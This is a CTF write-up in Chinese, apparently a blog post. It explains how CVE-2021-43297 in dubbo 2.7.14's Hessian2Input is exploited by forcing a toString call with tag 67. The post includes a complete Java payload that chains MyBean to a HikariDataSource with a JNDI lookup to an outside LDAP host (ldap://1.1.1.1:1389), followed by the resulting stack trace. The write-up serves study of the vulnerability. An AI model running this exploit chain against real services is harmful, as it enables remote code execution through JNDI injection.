警告
本文最后更新于 2022-08-27,文中内容可能已过时。
com.ctf.badbean.bean.MyBean#toString
可以触发getter
所以要找一个触发tostring的,给的版本是dubbo-2.7.14.jar,这个版本有一个任意tostring调用CVE-2021-43297 见https://paper.seebug.org/1814/
原理是在com.alibaba.com.caucho.hessian.io.Hessian2Input#expect
有一处tostring调用
对象和string拼接触发tostring,那么可以用这个来触发mybean的tostring。
在com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()
中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| public String readString() throws IOException {
int tag = this.read();
int ch;
switch(tag) {
case 0:
case 1:
case 2:
case 3:
...
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
case 33:
...
case 67:
...
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
case 50:
...
case 253:
case 254:
case 255:
return String.valueOf((tag - 248 << 8) + this.read());
}
}
|
如果读到的tag不满足case,那么调用this.expect("string", tag);
在上图中,左边case2之后走了default,而右边case6没有走default,也就是说,我们只需要让tag走到default上没有条件的case即可。这里先取67,而不取别的值呢?
在com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.util.List<java.lang.Class<?>>)
先拿到tag为67,进入case
1
2
3
| case 67:
this.readObjectDefinition((Class)null);
return this.readObject();
|
readObjectDefinition调用readString
此时tag仍为67
而67会进入default throw this.expect("string", tag);
中触发tostring。
也就是说,67满足了两个条件
- 在
Hessian2Input#readObject
中可以走到readString - 在readString可以进入
this.expect("string", tag)
所以这个67的值取得很巧妙。
接下来我们需要重写writeString函数对应readString,自定义序列化流程来赋予67属性。
然后写payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| package com.ctf.badbean.main;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.zaxxer.hikari.HikariDataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HikariDataSource ds = new HikariDataSource();
ds.setPoolName("pool");
ds.setDataSourceJNDI("ldap://1.1.1.1:1389/TomcatBypass/TomcatEcho/1");
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
Object o = new com.ctf.badbean.bean.MyBean("", "", ds, com.zaxxer.hikari.HikariDataSource.class);
out.writeString("aaa");
out.writeObject(o);
out.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
hessian2Input.readObject();
}
}
|
通过writeString写一个aaa进去来赋予67属性。然后用mybean的tostring触发HikariDataSource的getConnection触发jndi注入,完整堆栈如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| lookup:417, InitialContext (javax.naming)
initializeDataSource:328, PoolBase (com.zaxxer.hikari.pool)
<init>:114, PoolBase (com.zaxxer.hikari.pool)
<init>:105, HikariPool (com.zaxxer.hikari.pool)
getConnection:97, HikariDataSource (com.zaxxer.hikari)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:34, MyBean (com.ctf.badbean.bean)
valueOf:2994, String (java.lang)
append:137, StringBuilder (java.lang)
expect:3566, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObjectDefinition:2824, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2745, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
main:27, Main (com.ctf.badbean.main)
|
另外序列化时会报HikariDataSource没有实现Serializable接口的错误,直接重写com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer
加上一行
本机校验罢了,神奇,over。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。